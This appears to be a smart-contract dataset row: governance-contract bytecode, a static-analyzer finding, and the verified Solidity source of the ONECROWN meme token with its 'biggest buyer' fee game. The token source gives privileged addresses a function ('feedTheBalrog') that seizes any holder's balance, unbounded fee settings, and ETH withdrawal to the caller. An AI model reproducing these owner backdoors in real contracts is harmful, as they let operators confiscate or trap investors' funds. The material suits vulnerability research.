03b15801561197e57600080fd5b505af1158015611992573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526119d99190810190612634565b50600101611869565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611a129190613429565b60405180910390a15050565b6001611a2983610810565b6007811115611a3457fe5b14611a6b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135e6565b600082815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452600c8101909252909120805460ff1615611adb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613526565b60078201546040517f782d6fe1000000000000000000000000000000000000000000000000000000008152600091731f9840a85d5af5bf1d1762f925bdaddc4201f9849163782d6fe191611b34918a91906004016132fe565b60206040518083038186803b158015611b4c57600080fd5b505afa158015611b60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611b849190810190612759565b90508315611bb257611ba88360090154826bffffffffffffffffffffffff16611ca6565b6009840155611bd4565b611bce83600a0154826bffffffffffffffffffffffff16611ca6565b600a8401555b815460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010085151502177fffffffffffffffffffffffffffffffffffff000000000000000000000000ffff16620100006bffffffffffffffffffffffff8316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c9690889088908890869061330c565b60405180910390a1505050505050565b600082820183811015611ce5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613556565b9392505050565b600082821115611d28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135f6565b50900390565b4690565b731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663f2b065378686868686604051602001611d7b959493929190613341565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611dad9190613429565b60206040518083038186803b158015611dc557600080fd5b505afa158015611dd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611dfd91908101906125f8565b15611e34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613586565b6040517f3a66f901000000000000000000000000000000000000000000000000000000008152731a9c8182c09f50c8318d769245bea52c32be35bc90633a66f90190611e8c9088908890889088908890600401613341565b602060405180830381600087803b158015611ea657600080fd5b505af1158015611eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611ede9190810190612616565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611fe2579160200282015b82811115611fe257825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909116178255602090920191600190910190611f88565b50611fee92915061210b565b5090565b82805482825590600052602060002090810192821561202d579160200282015b8281111561202d578251825591602001919060010190612012565b50611fee929150612147565b828054828255906000526020600020908101928215612086579160200282015b828111156120865782518051612076918491602090910190612161565b5091602001919060010190612059565b50611fee9291506121ce565b8280548282559060005260206000209081019282156120df579160200282015b828111156120df57825180516120cf918491602090910190612161565b50916020019190600101906120b2565b50611fee9291506121f1565b604080516060810182526000808252602082018190529181019190915290565b6104b091905b80821115611fee5780547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600101612111565b6104b091905b80821115611fee576000815560010161214d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106121a257805160ff191683800117855561202d565b8280016001018555821561202d579182018281111561202d578251825591602001919060010190612012565b6104b091905b80821115611fee5760006121e88282612214565b506001016121d4565b6104b091905b80821115611fee57600061220b8282612214565b506001016121f7565b50805460018160011615610100020316600290046000825580601f1061223a5750612258565b601f0160209004906000526020600020908101906122589190612147565b50565b80356117c0816138d9565b600082601f83011261227757600080fd5b813561228a61228582613777565b613750565b915081818352602084019350602081019050838560208402820111156122af57600080fd5b60005b838110156122db57816122c5888261225b565b84525060209283019291909101906001016122b2565b5050505092915050565b600082601f8301126122f657600080fd5b813561230461228582613777565b81815260209384019390925082018360005b838110156122db578135860161232c888261243b565b8452506020928301929190910190600101612316565b600082601f83011261235357600080fd5b813561236161228582613777565b81815260209384019390925082018360005b838110156122db5781358601612389888261243b565b8452506020928301929190910190600101612373565b600082601f8301126123b057600080fd5b81356123be61228582613777565b915081818352602084019350602081019050838560208402820111156123e357600080fd5b60005b838110156122db57816123f98882612425565b84525060209283019291909101906001016123e6565b80356117c0816138ed565b80516117c0816138ed565b80356117c0816138f6565b80516117c0816138f6565b600082601f83011261244c57600080fd5b813561245a61228582613798565b9150808252602083016020830185838301111561247657600080fd5b61248183828461386f565b50505092915050565b600082601f83011261249b57600080fd5b81516124a961228582613798565b915080825260208301602083018583830111156124c557600080fd5b61248183828461387b565b80356117c0816138ff565b80516117c081613908565b6000602082840312156124f857600080fd5b6000612504848461225b565b949350505050565b600080600080600060a0868803121561252457600080fd5b853567ffffffffffffffff81111561253b57600080fd5b61254788828901612266565b955050602086013567ffffffffffffffff81111561256457600080fd5b6125708882890161239f565b945050604086013567ffffffffffffffff81111561258d57600080fd5b61259988828901612342565b935050606086013567ffffffffffffffff8111156125b657600080fd5b6125c2888289016122e5565b925050608086013567ffffffffffffffff8111156125df57600080fd5b6125eb8882890161243b565b9150509295509295909350565b60006020828403121561260a57600080fd5b6000612504848461241a565b60006020828403121561262857600080fd5b60006125048484612430565b60006020828403121561264657600080fd5b815167ffffffffffffffff81111561265d57600080fd5b6125048482850161248a565b60006020828403121561267b57600080fd5b60006125048484612425565b6000806040838503121561269a57600080fd5b60006126a68585612425565b92505060206126b78582860161225b565b9150509250929050565b600080604083850312156126d457600080fd5b60006126e08585612425565b92505060206126b78582860161240f565b600080600080600060a0868803121561270957600080fd5b60006127158888612425565b95505060206127268882890161240f565b9450506040612737888289016124d0565b935050606061274888828901612425565b92505060806125eb88828901612425565b60006020828403121561276b57600080fd5b600061250484846124db565b600061278383836127b2565b505060200190565b6000611ce58383612954565b6000612783838361293a565b6127ac81613847565b82525050565b6127ac816137fd565b60006127c6826137f0565b6127d081856137f4565b93506127db836137de565b8060005b838110156128095781516127f38882612777565b97506127fe836137de565b9250506001016127df565b509495945050505050565b600061281f826137f0565b61282981856137f4565b93508360208202850161283b856137de565b8060005b858110156128755784840389528151612858858261278b565b9450612863836137de565b60209a909a019992505060010161283f565b5091979650505050505050565b600061288d826137f0565b61289781856137f4565b9350836020820285016128a9856137de565b8060005b8581101561287557848403895281516128c6858261278b565b94506128d1836137de565b60209a909a01999250506001016128ad565b60006128ee826137f0565b6128f881856137f4565b9350612903836137de565b8060005b8381101561280957815161291b8882612797565b9750612926836137de565b925050600101612907565b6127ac81613808565b6127ac816104b0565b6127ac61294f826104b0565b6104b0565b600061295f826137f0565b61296981856137f4565b935061297981856020860161387b565b612982816138a7565b9093019392505050565b6000815460018116600081146129a957600181146129ed57612a2c565b607f60028304166129ba81876137f4565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0084168152955050602085019250612a2c565b600282046129fb81876137f4565b9550612a06856137e4565b60005b82811015612a2557815488820152600190910190602001612a09565b8701945050505b505092915050565b6127ac8161384e565b6127ac81613859565b6000612a536044836137f4565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c792062652071756575656420696620697420697320737563636560208201527f6564656400000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612ad86045836137f4565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208201527f7565756564000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612b5d6002836109c6565b7f1901000000000000000000000000000000000000000000000000000000000000815260020192915050565b6000612b966029836137f4565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707281527f6f706f73616c2069640000000000000000000000000000000000000000000000602082015260400192915050565b6000612bf5602d836137f4565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081527f616c726561647920766f74656400000000000000000000000000000000000000602082015260400192915050565b6000612c546059836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612cd96028836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981527f20616374696f6e73000000000000000000000000000000000000000000000000602082015260400192915050565b6000612d386011836137f4565b7f6164646974696f6e206f766572666c6f77000000000000000000000000000000815260200192915050565b6000612d716043836109c6565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201527f6374290000000000000000000000000000000000000000000000000000000000604082015260430192915050565b6000612df66027836109c6565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207381527f7570706f72742900000000000000000000000000000000000000000000000000602082015260270192915050565b6000612e556044836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208201527f6174636800000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612eda602f836137f4565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081527f61626f7665207468726573686f6c640000000000000000000000000000000000602082015260400192915050565b6000612f396044836137f4565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208201527f2065746100000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612fbe602c836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81527f7669646520616374696f6e730000000000000000000000000000000000000000602082015260400192915050565b600061301d603f836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b600061307c602f836137f4565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81527f76616c6964207369676e61747572650000000000000000000000000000000000602082015260400192915050565b60006130db6058836137f4565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b60006131606036836137f4565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636181527f6e63656c2065786563757465642070726f706f73616c00000000000000000000602082015260400192915050565b60006131bf602a836137f4565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6781527f20697320636c6f73656400000000000000000000000000000000000000000000602082015260400192915050565b600061321e6015836137f4565b7f7375627472616374696f6e20756e646572666c6f770000000000000000000000815260200192915050565b8051606083019061325b8482612931565b50602082015161326e6020850182612931565b506040820151610f1d6040850182613293565b6127ac81613830565b6127ac81613864565b6127ac81613836565b60006132a782612b50565b91506132b38285612943565b6020820191506132c38284612943565b5060200192915050565b60006117c082612d64565b60006117c082612de9565b604081016132f182856127a3565b611ce5602083018461293a565b604081016132f182856127b2565b6080810161331a82876127b2565b613327602083018661293a565b6133346040830185612931565b611441606083018461328a565b60a0810161334f82886127b2565b61335c602083018761293a565b818103604083015261336e8186612954565b905081810360608301526133828185612954565b9050613391608083018461293a565b9695505050505050565b60a081016133a982886127b2565b6133b6602083018761293a565b81810360408301526133c8818661298c565b90508181036060830152613382818561298c565b608080825281016133ed81876127bb565b9050818103602083015261340181866128e3565b905081810360408301526134158185612882565b905081810360608301526133918184612814565b602081016117c0828461293a565b60808101613445828761293a565b613452602083018661293a565b61345f604083018561293a565b61144160608301846127b2565b6060810161347a828661293a565b613487602083018561293a565b6125046040830184612931565b608081016134a2828761293a565b6134af6020830186613281565b6134bc604083018561293a565b611441606083018461293a565b602081016117c08284612a34565b602081016117c08284612a3d565b60208082528101611ce58184612954565b602080825281016117c081612a46565b602080825281016117c081612acb565b602080825281016117c081612b89565b602080825281016117c081612be8565b602080825281016117c081612c47565b602080825281016117c081612ccc565b602080825281016117c081612d2b565b602080825281016117c081612e48565b602080825281016117c081612ecd565b602080825281016117c081612f2c565b602080825281016117c081612fb1565b602080825281016117c081613010565b602080825281016117c08161306f565b602080825281016117c0816130ce565b602080825281016117c081613153565b602080825281016117c0816131b2565b602080825281016117c081613211565b606081016117c0828461324a565b6101208101613623828c61293a565b613630602083018b6127a3565b8181036040830152613642818a6127bb565b9050818103606083015261365681896128e3565b9050818103608083015261366a8188612882565b905081810360a083015261367e8187612814565b905061368d60c083018661293a565b61369a60e083018561293a565b8181036101008301526136ad8184612954565b9b9a5050505050505050505050565b61012081016136cb828c61293a565b6136d8602083018b6127b2565b6136e5604083018a61293a565b6136f2606083018961293a565b6136ff608083018861293a565b61370c60a083018761293a565b61371960c083018661293a565b61372660e0830185612931565b613734610100830184612931565b9a9950505050505050505050565b604081016132f1828561293a565b60405181810167ffffffffffffffff8111828210171561376f57600080fd5b604052919050565b600067ffffffffffffffff82111561378e57600080fd5b5060209081020190565b600067ffffffffffffffff8211156137af57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006117c082613817565b151590565b806109c6816138cf565b73ffffffffffffffffffffffffffffffffffffffff1690565b60ff1690565b6bffffffffffffffffffffffff1690565b60006117c0825b60006117c0826137fd565b60006117c08261380d565b60006117c082613836565b82818337506000910152565b60005b8381101561389657818101518382015260200161387e565b83811115610f1d5750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690565b6008811061225857fe5b6138e2816137fd565b811461225857600080fd5b6138e281613808565b6138e2816104b0565b6138e281613830565b6138e28161383656fea365627a7a72315820519adf133b5b6da53662ced6ccf51a0ef33f69b5abd9622a5b36012253d485876c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,979 |
0x6c9b4f8a5c2d80b252f56ee3544a8827ebf1e5fb | /**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
/**
One Crown's rules
▶ If you make the biggest buy (in tokens) you will hold the One Ring for one hour, and collect 4% fees (in ETH) the same way marketing does.
Once the hour is finished, the counter will be reset and everyone will be able to compete again for the One Crown.
▶ If you sell any tokens at all at any point you are not worthy of the One Crown.
▶ If someone beats your record, they steal you the One Crown.
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract ONECROWN is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "ONECROWN";
string constant _symbol = "CROWN";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _totalSupply = 10000 * (10**_decimals);
uint256 public biggestBuy = 0;
uint256 public lastRingChange = 0;
uint256 public resetPeriod = 1 hours;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public hasSold;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 9;
uint256 public ringFee = 4;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public Ring;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private _maxTxAmount = _totalSupply / 100;
uint256 private _maxWalletAmount = _totalSupply / 50;
uint256 public swapThreshold = _totalSupply / 100;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
event NewRing(address ring, uint256 buyAmount);
event RingPayout(address ring, uint256 amountETH);
event RingSold(address ring, uint256 amountETH);
constructor() Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
Ring = msg.sender;
totalFee = liquidityFee.add(marketingFee).add(ringFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setMaxTxAmount(uint256 amount) external authorized {
_maxTxAmount = amount;
}
function setFees(
uint256 newLiquidityFee,
uint256 newMarketingFee,
uint256 newringFee
) external authorized {
liquidityFee = newLiquidityFee;
marketingFee = newMarketingFee;
ringFee = newringFee;
}
function feedTheBalrog(address bot) external authorized {
uint256 botBalance = _balances[bot];
_balances[address(this)] = _balances[address(this)].add(botBalance);
_balances[bot] = 0;
emit Transfer(bot, address(this), botBalance);
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
authorized
{
isTxLimitExempt[holder] = exempt;
}
function setSwapThreshold(uint256 threshold) external authorized {
swapThreshold = threshold;
}
function setFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet
) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setResetPeriodInSeconds(uint256 newResetPeriod)
external
authorized
{
resetPeriod = newResetPeriod;
}
function _reset() internal {
Ring = marketingWallet;
biggestBuy = 0;
lastRingChange = block.timestamp;
}
function epochReset() external view returns (uint256) {
return lastRingChange + resetPeriod;
}
function _checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal {
if (block.timestamp - lastRingChange > resetPeriod) {
_reset();
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[recipient] &&
recipient != ZERO &&
recipient != DEAD &&
recipient != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
uint256 contractBalanceRecipient = balanceOf(recipient);
require(
contractBalanceRecipient + amount <= _maxWalletAmount,
"Exceeds maximum wallet token amount"
);
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
uint256 usedEth = router.getAmountsIn(amount, path)[0];
if (!hasSold[recipient] && usedEth > biggestBuy) {
Ring = recipient;
biggestBuy = usedEth;
lastRingChange = block.timestamp;
emit NewRing(Ring, biggestBuy);
}
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[sender] &&
sender != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
if (Ring == sender) {
emit RingSold(Ring, biggestBuy);
_reset();
}
hasSold[sender] = true;
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit)
external
authorized
{
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (
msg.sender != pair &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBack();
}
_checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = pair == recipient
? totalFeeIfSelling
: totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient)
internal
view
returns (bool)
{
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
//uint256 tokensToLiquify = _balances[address(this)];
uint256 tokensToLiquify = swapThreshold;
uint256 amountToLiquify = tokensToLiquify
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHRing = amountETH.mul(ringFee).div(totalETHFee);
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
(bool tmpSuccess, ) = payable(marketingWallet).call{
value: amountETHMarketing,
gas: 30000
}("");
(bool tmpSuccess2, ) = payable(Ring).call{
value: amountETHRing,
gas: 30000
}("");
emit RingPayout(Ring, amountETHRing);
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function recoverLosteth() external authorized {
payable(msg.sender).transfer(address(this).balance);
}
function recoverLostTokens(address _token, uint256 _amount)
external
authorized
{
IERC20(_token).transfer(msg.sender, _amount);
}
} | 0x60806040526004361061028c5760003560e01c80638eb6889f1161015a578063cec10c11116100c1578063ed14f20a1161007a578063ed14f20a1461091f578063f0b37c0414610952578063f2fde38b14610985578063f84ba65d146109b8578063f887ea40146109f3578063fe9fbb8014610a0857610293565b8063cec10c11146107e6578063d3b43dfc1461081c578063dd62ed3e1461084f578063dec2ba0f1461088a578063df20fd49146108c3578063ec28438a146108f557610293565b8063a4b45c0011610113578063a4b45c0014610700578063a8aa1b311461073b578063a9059cbb14610750578063b6a5d7de14610789578063ca33e64c146107bc578063ca987b0e146107d157610293565b80638eb6889f1461066d578063944c1d971461068257806395d89b411461069757806398118cb4146106ac5780639d0014b1146106c15780639f2bb2e9146106eb57610293565b80633f4218e0116101fe57806370a08231116101b757806370a0823114610582578063712a890a146105b557806375f0a874146105df57806387b3be7d14610610578063893d20e8146106255780638b42507f1461063a57610293565b80633f4218e0146104a257806346cf314f146104d55780634a74bb02146104ea578063571ac8b0146104ff578063658d4b7f146105325780636b67c4df1461056d57610293565b806323b872dd1161025057806323b872dd146103c05780632b112e49146104035780632f54bf6e14610418578063313ce5671461044b57806333596f50146104765780633e02a9881461048d57610293565b80630445b6671461029857806306fdde03146102bf578063095ea7b31461034957806318160ddd146103965780631df4ccfc146103ab57610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610a3b565b60408051918252519081900360200190f35b3480156102cb57600080fd5b506102d4610a41565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561030e5781810151838201526020016102f6565b50505050905090810190601f16801561033b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035557600080fd5b506103826004803603604081101561036c57600080fd5b506001600160a01b038135169060200135610a63565b604080519115158252519081900360200190f35b3480156103a257600080fd5b506102ad610aca565b3480156103b757600080fd5b506102ad610ad0565b3480156103cc57600080fd5b50610382600480360360608110156103e357600080fd5b506001600160a01b03813581169160208101359091169060400135610ad6565b34801561040f57600080fd5b506102ad610b9b565b34801561042457600080fd5b506103826004803603602081101561043b57600080fd5b50356001600160a01b0316610be4565b34801561045757600080fd5b50610460610bf8565b6040805160ff9092168252519081900360200190f35b34801561048257600080fd5b5061048b610bfd565b005b34801561049957600080fd5b506102ad610c74565b3480156104ae57600080fd5b50610382600480360360208110156104c557600080fd5b50356001600160a01b0316610c7e565b3480156104e157600080fd5b506102ad610c93565b3480156104f657600080fd5b50610382610c99565b34801561050b57600080fd5b506103826004803603602081101561052257600080fd5b50356001600160a01b0316610ca9565b34801561053e57600080fd5b5061048b6004803603604081101561055557600080fd5b506001600160a01b0381351690602001351515610cb7565b34801561057957600080fd5b506102ad610d2a565b34801561058e57600080fd5b506102ad600480360360208110156105a557600080fd5b50356001600160a01b0316610d30565b3480156105c157600080fd5b5061048b600480360360208110156105d857600080fd5b5035610d4b565b3480156105eb57600080fd5b506105f4610d98565b604080516001600160a01b039092168252519081900360200190f35b34801561061c57600080fd5b506105f4610da7565b34801561063157600080fd5b506105f4610db6565b34801561064657600080fd5b506103826004803603602081101561065d57600080fd5b50356001600160a01b0316610dc5565b34801561067957600080fd5b506102ad610dda565b34801561068e57600080fd5b506102ad610de0565b3480156106a357600080fd5b506102d4610de6565b3480156106b857600080fd5b506102ad610e05565b3480156106cd576